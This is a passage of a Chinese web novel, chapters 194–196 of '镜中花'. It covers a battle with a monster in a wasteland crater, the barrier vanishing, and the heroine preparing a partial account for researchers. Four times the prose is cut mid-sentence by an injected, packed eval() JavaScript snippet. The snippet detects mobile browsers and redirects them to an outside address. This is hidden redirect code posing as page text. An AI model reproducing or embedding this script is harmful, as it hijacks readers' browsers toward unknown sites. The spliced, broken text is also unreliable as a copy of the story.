它在假装虚弱，引诱他们接近！ 傅遥在空中扭转身体，异能迅速发动，怪物的指尖触碰到她的瞬间被瞬间弹开，它却仍然不死心地伸来更多的手。 “砰砰！”傅燃连开两枪，击碎了近在眼前的手腕，黑色的血如同雨点般倾泻而下，哗啦一声砸落在地上。 “到此……为止。” 傅遥咬牙切齿，踩在那两只断臂上，在空中转体，借着旋转的力道，丝滑地抽出后背的长刀，从上而下从怪物的颅顶戳刺了进去。 “卡卡卡！” 它的颅骨异常坚硬，在这样的距离之下，傅遥甚至可能看见一直陪伴自己的武器崩出好几个缺口，却还是艰难地顺着她的力道插了进去，只剩下一个漆黑的刀柄还露在外面。 怪物惨叫的声波几乎实质化，一圈一圈荡开，甚至将空中的两人就此弹飞，但它没有就此倒下，而是疯狂摇晃着身躯，伸手握住头顶的刀柄，一点一点抽了出来。 它的躯体已经没有那么臃肿了，那些人的养分几乎被吸收殆尽，但干瘪的身体仍然被血管紧紧包裹着，甚至从他们的口中伸进去，榨取着最后的价值。 身后有脚步声匆匆，傅燃豁然回头，心下大惊。 “你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195881|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来了！”他下意识要把简初挡在身后。 从他被对方救下，内心就疯狂滋生着对她的保护欲，傅燃知道这很不正常，甚至猜测是对方留在精神空间内的力量影响着他，但就算是这样，他也认了。 她帮了自己，现在要保护她不是理所当然的吗？ “不，你先等等……”简初眉头紧蹙，目光一直锁定在那只怪物身上。 它的注意力全部集中在头顶的刀柄，两只手握紧刀柄，身躯也在不断扭动，想要把刀完全抽出来，而正因如此，怪物的手臂下意识屈起，使中央的身躯离地面越来越近。 那群灰袍人匆匆赶来，在他们身边停驻，却只有一个人义无反顾地冲了出去。 “等等，他做什么！”傅遥睁大了双眼，却看见那人借着助跑高高跃起，身上的银色轻甲瞬间消失，手脚并用地抱住了那只怪物。 怪物正急需养分，它身上的伤口他有很多伤口需要恢复，所以它的本能和理智相违抗，在那人触碰到它躯体的瞬间，血管纷纷蠕动，眨眼将他吞噬了进去。 它的哀嚎变的更加尖利，手指也从长刀上滑落，数十只手臂在躯体上抓挠着，试图找到那只咬伤它的虫豸，无暇顾及头顶已经被拔出一半的长刀。 但丝毫没有用。 鲜红的血液从那几根丰盈的血管中流淌而出，但那人用最后的意志，紧紧扣住手下的血肉，掌下甚至还能感受到同伴微弱到难以察觉的心跳。 苑秀的喉头哽了哽，深吸一口气斩钉截铁：“下一个。” 简初大脑一片空白，看着有一个人褪去身上的盔甲，义无反顾地扑了上去，然后又是下一个……他们带着飞蛾扑火般无尽的勇气，冲进那只怪物的怀中，献上自己的灵魂以干扰“神明”的意志。 直到身边只剩下那对母女。 甫一对上眼神，简初就知道她们也要去了。 “你们能杀了它吗？”木琅轻声问，虽然说的是“你们”，但她的眼神只锁定在简初身上，“如果能顺便杀掉我的话，我会很感激的。” 苑秀犹豫着，还是伸手摸摸女孩的头顶，哪怕……她本不是属于自己的那一个女儿。 “阿迎……”简初的声音干涩，“我能知道，你的名字吗？” 对面的女孩愣了愣，露出一个开朗的笑：“不用了，我希望这个世界不要留下任何关于我的痕迹。” 看着简初一愣，苑秀立刻明白她已经知道了“不死”背后的真相。 她张张嘴，却感觉手被人握紧了。 “妈妈。”木琅透过那张万分熟悉的面孔，看见很久很久以前，那个真正属于自己的母亲的灵魂，“可以再说一次祝祷词吗？” 苑秀眨眨眼，抹去了祝祷词中原有的，属于神明的那部分。 这场战斗是人对于神的僭越，她所能祈求的只有自己，还有身边这几个短暂的伙伴。 “我祝愿死亡降临于此，众世的人将赐予你永寂。” 简初的视野有些模糊，但仍然可以看到那群人将自己全部的骨血融进怪物的身体里，一片青绿之中，猩红如同滚烫的火焰，点亮了每一个角落。 那点绿光被逼得无处可退。 就是现在！ 触手猛然从肩胛处弹出，柔软强健的金色躯体按在地面上，将简初推起到空中，傅燃咬咬牙，伸手就想驱动异能帮忙，却被傅遥一把按下。 “不可以，她没法再救你第二次了。” 傅燃的胸口剧烈起伏了两下，只能压低眉眼，紧紧跟随傅遥，顺着怪物的手臂攀沿而上。 可此刻简初眼中只剩下那只完全畸形的怪物，她自上而下俯视着它，眼角倾泻出一丝暗光，脸上没有任何表情。 但凡有任何人能看见小触手，都会悚然惊觉，此时的简初和那怪物很难说有什么本质的区别。 触手在她身后涌动着，石片感受到前所未有的威胁，闪动的频率变得更加快速。 简初微微抬起手，身旁蓄势待发的触手们便如同恶犬，呼啸着冲了上去，它们直接穿过怪物的身躯，略过滚烫的血液，在空中环绕成一个巨大的茧。 然后猛地收缩。 那块石片被关在牢笼中不停抖动，借着怪物的口发出嘶哑模糊的喊叫。 “这是……对神明的……” 它话没说完，就一前一后被捅穿了咽喉和口腔，触手柔软灵活地扭曲肢体，避开了可能被那两人触碰到的每一个角落，试图将那块石片之间从中拔出来。 但简初仍然没有忘记，有三双眼睛仍然注视着一切，她还不想在这种时候暴露太多。 她抽出腰间的匕首，眨眼扑进了怪物的怀中。 匕首“噗嗤”一声切开它的胸膛，简初的手指顺着肌肉探进去，准确地握住了那块石片，它正在不停颤动，锋利的边缘割开了她的掌心。 “简初！”傅燃刚刚落地，抬头就看见这一幕，他瞳孔骤缩，脚尖骤然点地，在傅遥还没有反应过来的时候飞身扑了上去。 但简初的眼中只剩下苟延残喘的石片，她的手脚用力踩在怪物的躯体上，整个人如同一道被拉满的弓，竭尽全力要把右手从怪物的胸腔中抽出。 “给我……”她几乎屏住了呼吸，“出来！！！” 一只手握住她的手腕，傅燃落在身侧，想要帮她把手拔出来。 在他眼中，简初是被那只怪物“咬”住了手臂，无法安全脱身。 几乎是同一时间，一道耀眼的激光术擦着两人脸颊间的缝隙，准确落在了怪物的胸口，简初只感觉掌心的石片突然变得滚烫，紧接着失去和他们对峙的力量…… 她感觉自己的手一点点抽出怪物的胸膛，而它的躯体也在自己掌下变得干燥，慢慢化作一团飞灰，就连那块石片都开始崩解，顺着她的指缝消失不见。 “唔！” 失去了身下的支撑，两人直直从半空中坠落，触手们想要紧紧包裹住自己的主人，却有人比它们快了一步。 越过傅燃的肩膀，简初看见天穹正在开裂，露出纯白之后灿烂的天空。 触手将两人团团围住，眨眼“砰”的一声砸落。 林愿卸下肩上的轻狙，腿一软瘫倒在地，周围所有高耸的建筑自上而下，逐渐化作星星点点的尘土，被外界吹进的风刮散，融进脚下的沙石之中。 ……结束了。 194. 镜中花（15） “噔噔噔！” 系统的音乐声好像从很远的地方飘过来，简初屏息等待，好一会才有断断续续的声音传来。 “复苏源头已消灭，任务完成。” “你激活了天赋技能……【？？】” 系统又莫名其妙顿住了，“嘶啦嘶啦”的微弱电流声传来，知道最后，它都没有再说出什么来。 什么情况？ 就算之前系统也打过“马赛克”，但这次的卡壳过于频繁，就连通报内容也简短得可怕，就好像有些事情超出了它的预期，暂时没办法给出合理的回应。 这工作经验不太够啊。 简初本来就晕晕乎乎的大脑被气得更晕，确认了她没有受伤，小触手们才恋恋不舍地缩回去，她茫然抬起头，脑袋却撞上什么硬物，紧接着听见一声闷哼。 “唔！” 傅燃紧紧捂住下巴，眼角不受控制沁出一点眼泪，口腔里淡淡的血腥味漫散开来。 “你没事吧！”简初有些狼狈地坐在地上，伸手扒拉他。 “没似……”傅燃支着胳膊坐起身，被人强行掰着下巴检查了一遍，“唔，别……只是咬到舌头了！” 他的语气中带着点莫名的沮丧和颓废，一副破罐子破摔的模样。 闻言，简初才放下心来，紧接着手腕内侧突然传来一阵灼烫，那个银白色的“∞”图案正散发出淡淡的红光，在她的眼皮子底下逐渐消散。 这里的事情告一段落，它会消失也在情理之中，但简初难免还是有些失望，毕竟这东西真的很好用。 要是从来没得到过就算了，现在总有种从她兜里往外掏钱的感觉。 好心痛！ “你们还好吗？”傅遥急匆匆跑过来，确认两人身上没有明显的外伤，便赶紧把他们都拉起来，“可以走吗，我们得早点回去。” 见两个年轻人面色还算正常，她便小跑着往另一边，去确认林愿的情况了。 对方没有追问什么情况，到让简初稍微放松了一些，虽然知道回去之后免不了一顿盘问，但至少多给她一点思考的时间，想想怎么把这些事圆回来。 很多事没必要隐瞒，但像金属甲之类的情况还是得编个更合理的解释，总不能承认是从米勒尔手里抢来的东西吧。 正当简初头疼时，傅燃微微瞥了她一眼，轻声开口：“那个……我的事可以麻烦保密吗？” “你的事？是指？” “我的身份，还有我的，”他伸手指了指脑袋，“这些只有因博士和傅队长知道，所以希望你都可以帮忙保密。” 这么说来，之前在斯塔集团上遇见的那个人应该也是他的，这前前后后加起来，光是正面冲突至少就有三次，简初可是一万个不想被对方察觉到异常。 她连忙点头：“我知道了，当然可以。” 两人之间的气氛又突然客套起来，如果是以前的到这样的回答，傅燃肯定会松口气，可现在不知道是不是受到对方残存精神力的影响，他竟然莫名有点不开心。 为什么不继续问，为什么不关心他，为什么不像之前那样把手…… 傅燃猛然睁大眼，意识到自己的想法开始有些变态，连忙此地无银三百两地往外挪了一小步。 嗯，这样就可以了，不要……离太远。 …… 天坑之外。 空中有星星点点的荧光掉落，簌簌在众人的头顶消散，那片纯白的屏障如同春至融雪，缓缓消失，露出里面的…… 什么都没有。 所有人都不约而同睁大眼，眼中写满了迷茫。 天坑中的黑色建筑群全都消失了，一点痕迹都没留下，就好像这里本来就是空荡荡的。 “我是眼花了吗？”有人嘀咕了一句。 因思禾心下暗道不对：“之前拍的照片呢，拿来看看。” 相机很快送到她手里，随着照片一张张翻过去，因思禾的表情越来越沉重：“没了……” 所有画面里，原本耸立着的建筑群无一例外，全部都消失得一干二净。 难道是一场集体幻视？ “你们都看看，小王，把之前打印的照片拿来！”因思禾随手将相机塞到身边一个工作人员手里，急匆匆接过小王煞白着脸递来的一叠照片。 她现在都不用看，光是看到这人脸上的表情，就知道恐怕打印出来的照片也变了。 “全都变成白纸了……” “难道真的是幻视？” 人群小声讨论起来，米勒尔眉头紧缩，看了崔斯特一眼，对方却是微微摇头。 他们上次确实没来过这么深入的地方，但他和米勒尔都亲手触碰过无序合金，就证明异种人的存在并不是一场空梦，绝不可能是幻觉。 现在只希望林愿能活着回来，他们就能知道里面究竟发生了什么。 “地上的石块是刚刚被屏障弹回来的，所以肯定不是幻觉。”一直沉默的伊森突然开口，众人随之看向地面散落的石块。 “这倒也是……我去看看仪器记录的数据。”林颀匆匆俯身查看显示屏，好半晌才空白着脸抬头，“我的天，数据全糊掉了！” “什么意思？”周围人都围过来，一眼就看到屏幕上密密麻麻的雪花点。 林颀却没有在这个页面停留，而是飞快拉到了最新的实时数据：“博士，辐射原消失了。” 这句话远比之前的一切都可怕，因思禾后背一阵发凉。 原本稳定波动的辐射数值从两分钟之前开始，以一个相当陡峭的直线迅速下滑，直到归零。 这意味着，无人区的辐射……消失了？！ 开什么玩笑，这可是会掀翻整个联邦的重大事件，前几十年投入了那么多资源，建成十几个站点，为此牺牲了那么多人，现在却说……辐射全都消失了？ 尽管无人区内有研究价值的东西很多，但辐射确实是一个相当关键的课题，如果它永久消失，就意味着很多进行中的项目都要强制破产。 按照这个距离，启明星站点大概会在半小时内捕捉到辐射消失的信号，这也意味着，半小时内，这个消息就会传回研究所总部，然后上报到联邦高层。 伊森：“我们得先找到傅队长他们，或许他们还活着，也知道里面究竟发生了什么。” 这话立刻得到了大多数人的支持，因思禾沉吟片刻了也点点头：“但在此之前，先用设备观测一下内部情况。” 如今建筑群全部消失，整个天坑几乎没有什么大型的遮挡物，只有地上的沙尘被风卷起来，弥散成一片片昏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195882|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄的沙土团，可以尝试着使用高倍率望远镜看看，能不能找到有人活动的痕迹。 因思禾焦灼地咬着手指，这个坏习惯很久前就被强制纠正了，但这会却没空再顾及，几台望远镜被架在天坑边缘，迅速扫视着。 伊森刚想去看看，余光就扫到一旁有些不安的凯文。 “你怎么了？”他突然开口，把对方吓了一跳，转而皱眉发起火来。 “你这什么语气！” 这语气明显色厉内荏，但伊森想不通现在有什么值得凯文如此愤怒，他只是侧着头，身体仍然面向前方：“你最好乖一点，难道以为我脾气很好吗？” 凯文刚想发作，就看见伊森已经无情转头离开，只能咬紧牙关生生忍了下来。 自己没必要这么忧虑，那些人只是要求自己自己随队行动，并没有提出其他要求，不管发生什么意外，他只要保证自己的安全就好了。 尽管凯文如此劝慰自己，可看见伊森游刃有余地和其他人交流，内心还是忍不住生出忌妒。 不过是天赋高一点，凭什么连因思禾都高看他。 “博士！”伊森突然高喊，“我好像看见人了！” 身后有几个人冲过去，把凯文撞了一个趔趄，可当他抬起头却没有得到一声“抱歉”，甚至都没有人多看他一眼。 总是这样，除了祖父，其他人都看不见自己，只要伊森还活着，他们第一眼永远会落在他身上。 凯文的视线已经被妒火染红，其他人都变成虚影，只有正和别人交谈的伊森的脸。 他会赢的，也只能是他赢。 没有人注意到一个小鬼正在想什么，望远镜纷纷对准伊森报出的坐标，真的看到有几个小小的人影正在往外走。 “可是……我怎么看，好像都是四个人。”还没等大家开心完，就有人提出这个疑问，“他们不是三个人吗？” “难道是从里面带了人出来？”程源语气激动，如果真的抓到无人区里生活的异种人，那…… 其他人见因思禾面色仍然不算好看，刚刚上扬了一个像素点的嘴角又纷纷撇下去，只留程源一个人自顾自兴奋着。 莫景紧紧抿着嘴唇，凑到望远镜前查看情况。 有三个小点正在移动，而其中一人的背上应该背着第四人，但……虽然她和斯塔集团的那个女性没有太多接触，但行走间的身形步态，反倒更像另一个人。 可她这会应该在N62站点啊。 与此同时，远方的N58站点，工作人员刚刚清扫完火灾后的狼藉，安装好全新的监控和雷达设备，就接待了从无人区腹地回来的人员。 “你们来的还真是时候，但凡早点内部信道都还没打通呢！” 眼见着屏障的消息发回了启明星，那几位作战人员才松了口气：“其实我们本来想联系N62的，但一直没收到回音，可能是信号出故障了，没有准确的定位我们只能来这了。” N62站点毕竟还在建设中，出什么情况都能理解。 “诶，N62……”工作人员一脸懵圈，话音未落雷达就发出警报声，他匆匆打开监视器，一边嘟囔着，一边看到里面几张不算熟悉的脸。 黎取举起手里的临时通行证：“N62站点遭遇袭击，请求支援。” 195. 镜中花（16） 几个颤颤巍巍的人鱼贯而入，经过深夜的严寒，此刻的暑气让他们脸色发白，完全是靠着意志走到这里。 N58站点刚从灰烬中重建，还有不少工作人员留在这里，见他们形容狼狈，赶紧送上水和食物，让几人不要正对着出风口。 林豹双有些焦躁地在原地踱步，时不时朝外看几眼：“麻烦你们跟其他站点也发一下消息，看看周边有没有发现一个年轻的女孩子，是我们走散的同伴。” 工作人员面色沉重，还是点点头照做了。 在无人区失踪几乎等于判下死刑，除了辐射还有游荡中的异种，如果只有一个人，哪怕是异能者，也是凶多吉少。 更别提简初的异能并不具有战斗力。 “你们先在这休息，其他事情交给我们就好。”工作人员忙忙碌碌，给受伤的人包扎了伤口。 尽管如此，林豹双还是静不下心。 “不行，我想出去找她。”她明显坐立不安，抬脚就要想外面冲，却立刻被黎取拦了下来。 “你疯了？你去哪儿找？” 无人区这么大的地方，他们完全不知道那扇传送门会把人送到哪里去，退一万步说，简初和那个袭击者一同被送走，她独自在对方手下存活的概率……几乎是零。 “你现在出去就是添乱，这里还有其他人需要保护。” 林豹双胸口剧烈起伏了两下：“这不一样，她很特殊。” 黎取当然知道她是什么意思，不管是莫名其妙被无人区的异种人盯上，还是在N58站点发生火灾时的表现，都说明简初身上绝对藏着很多秘密。 他还是服软了：“行，那等其他站点回消息，我们再去找，你现在出去，知道该往哪个方向走么？” “我知道了。”林豹双有些颓丧地坐在角落，“不光是这样，我能看出来，傅……傅遥和灰烬对她的态度都有些暧昧，不是对待普通陌生人应该有的样子。” 这种事黎取怎么会看不出来，但事已至此，再想这些都已经没用了。 没有人会想到那人会直接用炮来轰，更没想到对方的执念会如此之深，最后关头还会使用传送装置。 “斯塔集团提供的失踪武器清单里没有提到这个。”林豹双阴郁地抬起头，用只有两人能听到的声音轻声说，“他们到底做了什么？” …… 简初深一脚浅一脚走在松软的沙地上，精神感到前所未有的轻松，之前耗尽的力量此刻已经完全充盈，甚至有隐隐超越以前阈值的征兆。 想想就要笑出声了。 她本以为这件事结束后，又会被系统送回现实世界，可直到现在，除了刚刚卡顿的那几句话，它貌似没有再发声的迹象。 真是奇怪。 在简初看来，这次解决的问题远比之前几次要更棘手，却没能触发“关键节点更定”的判定。 “怎么了？”傅燃的余光一直注视着简初，眼见着她面露纠结，忍不住开口询问。如果是从前，他从来不会多管闲事，但现在……就是很想为对方分忧。 简初侧头看了他一眼：“没什么，就是在想刚刚的事情。” 实际上，现在这里的几个人应该只有她才清楚一切的来龙去脉，但也正因如此，她得想好怎么应付回去后的盘问。 “不死者”的情况不是不能说，但要以一个合理的方式点出来。为了确保以后行动方便，简初不想暴露自己身上的秘密。 傅遥背着昏迷的林愿走在最前头，闻言也忍不住插嘴：“说起来，你们在楼顶究竟发生了什么，简初你治好他了吗，我看那只怪物被异能停住的时候快吓死了。” “什么？”傅燃却一副茫然的样子，“那会我用过异能吗？” 他下意识看向简初，希望从她口中得到确切的答案。 “呃，大概不算治好吧。”简初伸手挠了挠脸颊，“只是把他之前的创伤修补了一下。” 她没有正面回答“使用异能”的那个问题，但另外两人都当是默认了。 “修补？”傅遥往上颠了颠背上的人，“精神空间吗？” 这两个词好像从来没有被放在一起过，和精神力一同出现的大多是“安抚”、“疏导”之类的词汇，“修补”听上去……有一种大力出奇迹的感觉。 “当时可能因为刚刚修好，所以你意识不太清晰，不记得情况。”简初面不改色地把一切强行按在傅燃头上，“不过你的异能很帅！” 竖起的大拇指成功断绝对方继续追问的心思，并收获了一个新鲜的青红番茄。 傅遥脑袋后面也没长眼睛：“那你现在感觉怎么样？” “啊？嗯……”傅燃喉咙发紧，“挺……挺好的。” 简初的视线落在她背着的女子身上，林愿不知道是什么情况，被找到的时候已经失去意识，完全喊不醒，但她的生命体征又十分平稳，似乎只是陷入了深度的睡眠。 也没有其他办法，只能想办法先把她带回去再说。 没有了金属甲的辅助，又不能随意使用闪现，简初硬着头皮跟着走了这么远，也不免感觉到疲劳。 屏障刚刚消失时，头顶的阳光让她感觉到放松和安心，但现在……只能说要被晒死了。 她耳朵微动，抬头眯起眼，伸手挡住头顶朝远处看去。 “那是什么？” 闻言，另外两人立刻抬头，顺着她指的方向看去，随着黑色的小点越来越大，发动机的轰鸣逐渐变得清晰。 脚下的土地微微震颤，迎面而来是淡淡的土腥味，很快，那辆越野就来到他们面前。 车上跳下两个特战中心的队员，兴奋地喊着“队长队长”就跑了过来。 把林愿在后车厢安置下来，傅遥才抬头：“外面一切还好吗？” 坐进车里，安全感油然而生，车厢的颠簸和摇摆此刻都如同悠然的催眠曲，让简初的眼皮开始打架。 “发生了很多事，但目前大家都很安全。”作战人员给他们的伤痕消毒涂药，简易包扎了一下，“幸好你们没受重伤。” 一路上，他们发现好几个便携式的信号源，启动之后发现可以正常使用，便把看到的装置都激活了，所以这会开出去没多远，车内的调频就发出“沙沙”的声响。 没过一会，那头传来因思禾有些焦急的声音：“你们找到人了？他们怎么样？” “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205412|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没事。”傅遥开口，对面听到她的声音，立刻松了口气。 “不过……”她看了眼昏迷的林愿，斟酌着开口，“林愿不知道是什么情况，一直昏迷不醒，麻烦你让随队的医生做好准备。” “傅队长，”那头却传来一道有些熟悉的男声，是米勒尔的安保队长崔斯特，“请不用担心，这是她的老毛病，我们可以解决的。” 这个情况有点出乎傅遥的意料，但对方都这么说了，她也没有什么立场继续追问，只能简单说了几句，便靠在车厢休息。 简初虽然闭着眼，但耳朵一直仔细倾听他们的对话，聊天中因思禾并没有问到关于自己的事情。 就连那几个队员见到她也没有表现出明显的意外，就说明在出发之前，他们已经知道自己在这里。 她现在并不算很紧张，毕竟很多事情除了自己没有别人知道，就连超乎寻常的战斗力都可以用那副金属甲解释，唯一有些麻烦的就是自己是如何得到它的。 还有斯塔集团……虽然那块金属是自己抢的，但简初还是很不道德地把一切过错按在了对方头上。现在已经很明显，自己遭遇的袭击完全是替米勒尔背了锅。 得在合适的限度中把一些事情告诉因思禾，让她既不会怀疑自己，又能追究斯塔集团的责任，更重要的是无人区的异象牵扯太广，与其等着联邦查到自己身上，不如自己来引导他们的调查方向。 简初闭目思索，越野车很快抵达了天坑边缘，一群人翘首以盼，车一停就都围了上来。 “谢天谢地，你们都没事。” 众人七嘴八舌，但她明显感觉到有很多隐秘的视线落在自己身上。 完全可以理解，毕竟自己本应该待在N62站点，此刻却出现在了这里。 因思禾并不会当众询问什么，她第一时间安排了身体检查，也把昏迷中的林愿安置到另一辆车上，由斯塔集团的人员监测体征。 当然，她也安排了自己的人手参与其中，以防发生意外。 简初打了个哈欠，就看见一旁安静的莫景朝她小小地挥挥手，对方身后则是一台高倍率望远镜。 啊，原来他们是这样看见自己的。 这会见到莫景，简初有一种恍如隔世的感觉，甚至因为对方的“父亲”死于自己的手——哪怕那个男人并不算什么好人，但她也有种做错事的心虚。 不知道后来究竟发生了什么，那个男人死之后，莫景应该会被中央城区的救助中心接收，也许就是在那里发现了自己的天赋，考进了联邦军校。 “诶？”莫景刚想朝简初露出微笑，就发现对方转开眼神不再看她，这让年轻的女孩心中不免有些失落。 好不容易才亲近起来，为什么又…… 学姐什么时候才会想起自己呢，不过以前的自己那么弱小，大概不管是谁都不会特意去记得吧。 简初脑中无比纠结，没意识到莫景已经因为她下意识的逃避开始怀疑人生，整个人都有些丧丧的。 “你们……跟我来聊聊吧。”因思禾的话打断了她的思绪，她抬起头，就对上那双睿智的眼。 哪怕说的是“你们”，也只看向她一个人。 196. 镜中花（17） 程源紧盯着几人的背影，直到他们跟着因思禾钻进帐篷中，才恋恋不舍收回眼神。 他很好奇里面究竟发生了什么，现在没有机会，只能等返程之后再想办法和简初聊聊。 帐篷中，简初沉默坐在一旁，听着傅遥和因思禾描述他们进入天坑之后，直到出现白色屏障期间发生的事情。 按照他们的描述，白色屏障应该就是自己被那块石头拉进异世界是出现的。 “这么说来，你们也不知道它出现的契机。”因思禾若有所思，将视线投向了简初，“说说看，你怎么会出现在那？” 三人的目光都落在简初身上，但她早就做好心理准备，就连此刻脸上流露的紧张都是精心设计过的。 “昨天夜里，N62站点遭到了袭击，就是之前那个袭击者，他用炸弹直接炸平了站点。”简初的语气带着一丝丝后怕，“在打斗过程中，那人用了传送装置，我和他就一直被送走了。” “不过剩下几个人应该都没有受伤，他们应该会想办法和其他站点联系的。” 傅燃眉头紧蹙，心下不免有些担心林豹双和黎取，但现在这些情绪都无法改变现状，就算想赶回去……也已经来不及了。 “他们应该没问题的。”他低声说。 “然后我就被送到那附近，不知道出了什么意外，那个袭击者并没有跟我一起，但很快，有人发现了我，我打不过他，就被带进那座高塔里了。”简初说着，看向傅遥，“你进去过，就是里面那个有大石头的房间。” 说谎的最高境界就是真假参半，用真实的那部分，来让对方相信你的谎言也是真实的。 傅遥果然点点头。 “然后在那个房间里，我身上就出现了那个金属甲的图案，那群人看见之后好像很紧张，就把我丢进了那块石头里。” 从这里开始，因思禾就无法理解她说的话了：“等等，金属甲？扔进石头里？” “就是之前那个袭击者身上出现的，银白色的金属软甲。”傅遥继续开口解释，“至于石头，我确实看见你和那个……老头从里面一起出来。” 信息差太大，因思禾整个人都云里雾里，忍不住又伸手表示疑问。 “虽然但是，这部分能不能说详细一点？” 于是接下来就是傅遥为主，简初、傅燃适时补充，把里面那群“不死者”的情况说了个大概。 “他们可以从里面复活，我当时在里面就像是灵魂出窍的状态，直到最后恢复了一点意识，才抓住一个人，跟他一起出来了。”简初做了个收尾。 她确实是跟着木石出来的，不过，是另一个世界的木石。 “异变的怪物……你确定看见是人变的？”因思禾看向傅遥，“异变源头是什么？” 正常来说，要把一个人变成异种类的怪物，必须遭受过异种的基因感染，还得是携带特殊传染源的异种才行，但奇怪的是，在他们的描述中，并没有这样的情节。 “不清楚，而且我从来没见过那么强的异种。”傅遥眉头拧成川字，“如果不是那几个异种人……恐怕没那么容易解决。” “虽然这么说，最后都是他们几个人出的力，我倒是什么都没干。”她笑着摇摇头，“我猜的没错，应该是破坏了怪物的心脏，所以才杀死了它。” 对于这样的猜测，简初自然是忙不迭点头，把自己摘了出去，不过，对于“异种人”这个称呼，总有几分刺耳。 她知道，那永生不死的轮回对于他们，至少对于最后那几个人来说，是一种刻骨的诅咒。 “我听见他们喊自己旧人类。”简初轻声开口。 几人沉默了一瞬，傅遥也明白了她的意思：“他们确实……很难说是坏人。” 简初微微出神，又想起在那个世界看见的，好像很幸福的母女俩，还有其他人，没猜错的话，木石被“召唤”离开的瞬间，那个世界似乎就坍塌了。 她不敢深想，如果每一次复生的代价，都是平行世界的某个人被带走，剩下的所有直接被碾灭，那该有多少世界悄无声息消失了。 傅燃的余光落在简初低垂的睫毛上，看出对方此刻心情并不好。 “事情大概就是这样。”他突然开口，“别的事情我们可以回头慢慢讨论，我还有件事要告诉博士。” “简初修补了我的精神空间，我想知道，现在的我，异能能使用到什么地步？” 这个话题确实成功转移了所有人的注意力，见简初脸上的沉重也消失，傅燃的嘴角上升了两个像素点。 “修……修补？” 所以不能怪傅遥之前惊讶，实在是这个词从来没有在“精神力研究”整个行业内出现过。 因思禾忍不住睁大眼，内心痒痒就想亲手给傅燃做一次检查，奈何研究所的禁令还在…… “只能等回去之后给你检查，不过可以跟我说说你现在的感觉吗？还有……”因思禾看向简初，“你说的修补是什么意思？” 傅燃看向简初，等待她决定谁先回答问题，一旁安静的傅遥看出了一点奇怪的苗头，眼神在两人身上转来转去。 “就是字面上的意思。”简初做了个缝线的手势，“说到这个，他以前出现类似情况的时候，检查下来是什么情况？” 因思禾沉思片刻，斟酌着回答：“当场来得及检查的只有一次，我发现他的精神空间剥脱了，出现了很多空缺的板块……” 眼看着她的表情，简初突然开口：“你有没有觉得他的精神空间好像缺了一部分？” 瞬间，仿佛一道惊雷劈中因思禾的大脑：“你发现了？！” 简初没想到她这么轻易就会说出这个结果，从另外两人的表情来看，他们并不知道这件事，而简初之所以会这么问，是因为她在思考，傅燃和幽灵究竟是什么关系。 两个人明显都不清楚对方的存在，但既然连因思禾这种行业大拿也有类似的看法，那简初就不得不把之前一直否定的猜测移动到最优先的位置了。 幽灵是从傅燃身上剥脱的意识。 “我还有个问题，就你刚刚说的那次，你们有没有尝试把剥脱的部分重新安回去？”说到这些事，简初整个人就透露着相当专业的气质，完全就像是在和病人家属对话。 傅遥和傅燃听得云里雾里，但还是顺着她的问题，一起把视线移向因思禾。 就像两只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222761|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追寻着逗猫棒的猫。 但这个问题却似乎难倒了因思禾：“安回去？把什么安回去？” 但她脑子转得很快，立刻就明白了简初在说什么。 “等等，你可能不清楚。”精神空间发生剥脱是一件相当罕见的事情，课本上并没有类似的案例，因思禾能理解这小姑娘不清楚相关的情况。 “说是剥脱，但其实就是空间内壁受损，只能靠时间来慢慢恢复、”因思禾突然噤声，紧接着一字一顿，“如果我没理解错，你说的修补是指？” 简初凝视着她，点点头：“我把剥脱的部分，用我的精神力缝回去了。” “……”因思禾张了张嘴，却没有说出一个字，满脸写着难以置信的震撼。 她是专门研究精神力的，比起无人区腹地发生的一切，这件事听上去要更加荒诞。 除了拥有相关的异能，否则一个人的精神力是不可能驻留在另一人的精神空间内的，更别提进行“物理干预”。 傅遥大概能看出这件事有些超出常理，但远没有因思禾的感受那么强烈。 